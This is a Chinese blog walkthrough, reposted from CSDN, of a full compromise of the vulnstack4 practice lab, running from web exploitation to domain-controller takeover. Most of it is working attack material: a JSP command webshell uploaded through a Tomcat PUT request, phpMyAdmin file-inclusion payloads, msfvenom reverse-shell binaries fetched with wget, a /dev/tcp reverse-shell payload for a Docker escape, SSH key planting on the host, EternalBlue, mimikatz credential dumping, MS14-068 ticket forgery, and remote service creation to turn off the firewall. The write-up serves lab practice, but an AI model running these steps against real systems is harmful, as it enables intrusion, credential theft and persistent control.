红日安全ATT&CK靶机实战系列之vulnstack4
发布日期:2021-06-29 11:27:49 浏览次数:2 分类:技术文章

本文共 9429 字,大约阅读时间需要 31 分钟。

声明

好好学习,天天向上

环境配置

下载地址,直接进去用百度云,没有会员也下的非常快

http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

边下载着,可以开始vmware的网络配置

有两个网段,外网网段是我自己设置的桥接模式192.168.31.1/24,内网网段,vmware加一个网卡VMnet3,192.168.183.1/24

和前面的大同小异,我这里就不细说了看过系列文章的应该都已经很清楚这种网络结构了,我直接贴图吧

桥接的就是攻击机与边界服务器的网卡

新增的VMnet3的183段就是内网的和连接内网的边界服务器的网卡

在这里插入图片描述

解压环境后,一共三台服务器,分别打开,导入过程中出现弹框,不要慌,点击重试即可

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

网络配好后,可以开机登录看看网络

ubuntu:ubuntu192.168.31.48192.168.183.128域成员机器douser:Dotest123192.168.183.129DCadministrator:Test2008192.168.183.130

在这里插入图片描述

Web服务器为Ubuntu,需要进入ubuntu,用docker启动,熟悉vulhub的都清楚:

  • s2-045
  • CVE-2017-12615(tomcat put上传)
  • cve-2018-12613(phpmyadmin文件包含漏洞)

熟悉docker的都清楚,docker基本都是root

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045sudo docker-compose up -dcd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/sudo docker-compose up -dcd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/sudo docker-compose up -d

成功启动后,删掉多余的容器,一共4个容器

在这里插入图片描述

在这里插入图片描述

win7总是自动挂起

进入控制面板 → 硬件和声音 → 更改计算机休眠时间 (改为从不休眠)

环境配置完毕

战斗

Web渗透

信息收集

kali扫描存活

arp-scan -lnmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.31.1/24

在这里插入图片描述

扫描详细信息

nmap -T4 -A 192.168.31.48 -p 1-65535 -oN nmap.A

在这里插入图片描述

开了22的ssh,2001的struts2,2002的tomcat,2003的phpmyadmin,ssh可以先放一放,剩下这三个,都是常用的,而且tomcat和phpmyadmin都是比较早的版本了

Struts2-Shell

随便拿俩工具验证一下康康

在这里插入图片描述

直接就能执行命令,为什么是172打头的呢?笨这显然是docker里面了啊

在这里插入图片描述

phpmyadmin-Shell

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613),这句话在网上一搜一大堆,那就来试试吧,毕竟我也是把vulhub都做的差不多了,也很熟悉这些了,看一看自己以前的文章,原来是直接可以包含文件,试一下先

http://192.168.31.48:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

在这里插入图片描述

之前的文章都没写到拿shell,那这次好好跟大佬们学习吧

其实思路就是,有了这个漏洞,就可以各种包含,也就是各种调用,那如果我们可以上传,或者说写入一个一句话,就可以用这个漏洞调用一句话,那该怎么写入呢,不要忘了mysql的日志写入功能

在sql执行处执行,并F12查看当前页面cookie中的phpmyadmin的值,这个也是经常用到的

select '
'

在这里插入图片描述

在这里插入图片描述

拿到cookie拼接

http://192.168.31.48:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_d9d73b108e81c24a365e218c5b1e5e54

成功执行phpinfo

在这里插入图片描述

写入一句话就可以了,这里是docker环境所以有点问题,我们到此为止

tomcat-Shell

tomcat 这么老的版本更不要说了

访问,抓包

http://192.168.31.48:2002/

在这里插入图片描述

可以修改方法为PUT,上传一个文件

PUT /shell.jsp/ HTTP/1.1Host: 192.168.31.48:2002User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: phpMyAdmin=33ae53ca410bc8c12a08b825b08a3b7f; pma_lang=zh_CNDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0<%@ page import="java.util.*,java.io.*,java.net.*"%> <% %>  
 <% if (request.getParameter("cmd") != null) {         out.println("Command: " + request.getParameter("cmd") + "\n
"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

在这里插入图片描述

访问我们的马

http://192.168.31.48:2002/shell.jsp

在这里插入图片描述

权限维持/提升

msf上线

生成木马,开启站点

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=6666 -f elf > shell.elf
python -m SimpleHTTPServer 80

在这里插入图片描述

msf开启监听

use exploit/multi/handlerset lhost 192.168.31.96set lport 6666set payload linux/x86/meterpreter/reverse_tcprun

在这里插入图片描述

在刚刚shell.jsp上分别执行

wget http://192.168.31.96/shell.elfchmod 777 shell.elf./shell.elf

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

这里是让一个shell持久化在msf上了,但是这个IP,我们前面也说过,这是在docker里面,那么拿到docker,对我们来说毫无卵用,我们需要从docker跳出来,跳到服务器中,有点类似是从vmware的虚机跳到实体机上,这其实就叫做docker逃逸,以前没学过docker的时候,听着感觉贼牛逼,现在想想不就是这个道理吗,而且已经有现成的漏洞可以这么搞了,那就是CVE-2019-5736

首先下载并编译main.go脚本,生成攻击payload:

https://github.com/Frichetten/CVE-2019-5736-PoC

在这里插入图片描述

编辑main.go脚本

vim main.govar payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.31.96/6667 0>& 1"

在这里插入图片描述

编译go成脚本

go环境搭建

https://www.cnblogs.com/sch01ar/p/7625607.html

环境搭建完后,编译

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

在这里插入图片描述

在这里插入图片描述

利用meterpreter将这个脚本上传到docker的/home下

upload /app/vulnstack/4/CVE-2019-5736-PoC-master /home

kali监听

nc -lvp 6667

从meterpreter进入shell执行逃逸脚本

shellcd /homechmod main./main

在这里插入图片描述

模拟docker进入容器,可是这里根本不理睬我

在这里插入图片描述

换思路吧

利用–privileged特权模式逃逸

利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制

新建一个/hack目录用来挂载文件:

mkdir /hack

在这里插入图片描述

将/dev/sda1挂载到/hack目录里

ls /devmount /dev/sda1 /hackls /hack

在这里插入图片描述

在这里插入图片描述

kali本地生成ssh秘钥

ssh-keygen -f hackchmod 600 hack

在这里插入图片描述

现在相当于我们可以通过操纵hack目录,来操纵宿主机的目录,需要将这个秘钥传到宿主机就能ssh登录

验证一下

ls /hack/home

还记得这个用户吧

在这里插入图片描述

看一看隐藏文件

ls -alh /hack/home/ubuntu

就是你

在这里插入图片描述

这里看一下我的

cat hack.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= root@kali

在kali上写一个可以修改ssh的脚本,并开启web服务器(因为我webshell执行echo总失败)

vim key.sh
cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keysecho 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= root@kali' > /hack/home/ubuntu/.ssh/authorized_keyscat /hack/home/ubuntu/.ssh/authorized_keys
python -m SimpleHTTPServer 80

webshell下载并执行

wget http://192.168.31.96/key.shchmod 777 key.sh./key.shls -alh /test/home/ubuntu/.ssh

写入成功

cat /hack/home/ubuntu/.ssh/authorized_keys

在这里插入图片描述

在这里插入图片描述

现在就可以利用自己的私钥进行免密登录

ssh -i hack ubuntu@192.168.31.48

我这里不太娴熟,多次挂载,还给docker宿主机整崩了

在这里插入图片描述

登录成功后,看到了一个183段的,这个应该就是内网网段了

在这里插入图片描述

再使用同样的方式在ubuntu上上传一个shell马

wget http://192.168.31.96/shell.elf chmod 777 shell.elf nohup ./shell.elf &

我这里由于重装了一下这个ubuntu,IP由原来的31.48变成了31.127

在这里插入图片描述

把ew上传到ubuntu上

upload /app/tools/ew-master/ew_for_linux64 /home/ubuntu

在这里插入图片描述

在这里插入图片描述

接着就是ubuntu开启

nohup ./ew_for_linux64 -s ssocksd -l 1080 &

在这里插入图片描述

kali配置

vim /etc/proxychains4.conf

在这里插入图片描述

msf路由转发

run autoroute -s 192.168.183.0/24run autoroute -p

内网渗透

信息收集

可以先使用msf进行一波存活扫描

use auxiliary/scanner/discovery/udp_probeset rhosts 192.168.183.0-255set threads 5run

肉眼可见的两台129,130,算上之前的128,一共三台域内服务器

在这里插入图片描述

横向渗透

永恒之蓝扫描一下,129,130都有ms17_010

use auxiliary/scanner/smb/smb_ms17_010set rhosts 192.168.183.129-130run

在这里插入图片描述

攻击131

setg Proxies socks5:192.168.31.127:1080       // 设置代理,不设置代理ms17_010很难打通use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcpset rhost 192.168.183.129set lport 4444set AutoRunScript post/windows/manage/migrate             // 自动迁移进程run

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

这样就拿到了这个域成员的SYSTEM,按照惯例,信息收集一波

ipconfig /all   # 查看本机ip,所在域route print     # 打印路由信息net view        # 查看局域网内其他主机名arp -a          # 查看arp缓存net start       # 查看开启了哪些服务net share       # 查看开启了哪些共享net share ipc$  # 开启ipc共享net share c$    # 开启c盘共享net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域net user                 # 查看本机用户列表net user /domain         # 查看域用户net localgroup administrators    # 查看本地管理员组(通常会有域用户)net view /domain         # 查看有几个域net user 用户名 /domain   # 获取指定域用户的信息net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)net group 组名 /domain    # 查看域中某工作组net time /domain           // 主域服务器会同时作为时间服务器net group "domain admins" /domain  # 查看域管理员的名字net group "domain computers" /domain  # 查看域中的其他主机名net group "doamin controllers" /domain  # 查看域控制器(可能有多台)net group "Enterprise Admins" /domain    // 查看域管理员组

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

经过信息收集,下一步目标就是182.130这台服务器,用mimikatz拿密码

在这里插入图片描述

报错了

在这里插入图片描述

加载模块,假冒令牌

load incognitotoken:list_tokens -uimpersonate user "AUTHORITY\SYSTEM"

在这里插入图片描述

再次进入shell,用mimikatz

shellmimikatz.exeprivilege::debugsekurlsa::logonpasswords

在这里插入图片描述

在这里插入图片描述

有了密码,试试ms14-068

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

下载后上传上去

在这里插入图片描述

利用ms14-068伪造票据

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

在这里插入图片描述

mimikatz注入票据

mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造mimikatz # kerberos::list          //查看当前机器凭证mimikatz # kerberos::ptc 
<生成的票据文件>
//将票据注入到内存中

在这里插入图片描述

查看域控

net use \\WIN-ENS2VR5TR3Ndir \\WIN-ENS2VR5TR3N\c$

在这里插入图片描述

msf再生成一个马,再把这个马通过win操纵,上传到域控

msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.31.96 lport=6688 -f exe -o bind.exe

在这里插入图片描述

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"sc \\WIN-ENS2VR5TR3N start unablefirewall

在这里插入图片描述

msf开启监听

use exploit/multi/handlerset Proxies socks5:192.168.31.127:1080set payload windows/meterpreter/bind_tcpset rhost 192.168.183.130set lport 6688set AutoRunScript post/windows/manage/migraterun

创建服务执行msf马:

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"sc \\WIN-ENS2VR5TR3N start bindshell

可以看到130过来了

在这里插入图片描述

在这里插入图片描述

有时候用代理,meterpreter会很不稳定,比如

在这里插入图片描述

在这里插入图片描述

我们要抓紧时间,刚生成meterpreter时执行

run persistence -X -i 5 -p 4000 -P windows/meterpreter/bind_tcp

往130上上传mimikatz,拿到密码administrator/!QAZ2wsx

在这里插入图片描述

在这里插入图片描述

meterpreter开启3389

run post/windows/manage/enable_rdp

在这里插入图片描述

登录

DEMO\administrator!QAZ2wsx

在这里插入图片描述

拿下

在这里插入图片描述

转载地址:https://blog.csdn.net/zy15667076526/article/details/116059592 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:红日安全ATT&CK靶机实战系列之vulnstack5
下一篇:红日安全ATT&CK靶机实战系列之vulnstack3

发表评论

最新留言

表示我来过!
[***.240.166.169]2024年04月07日 16时32分27秒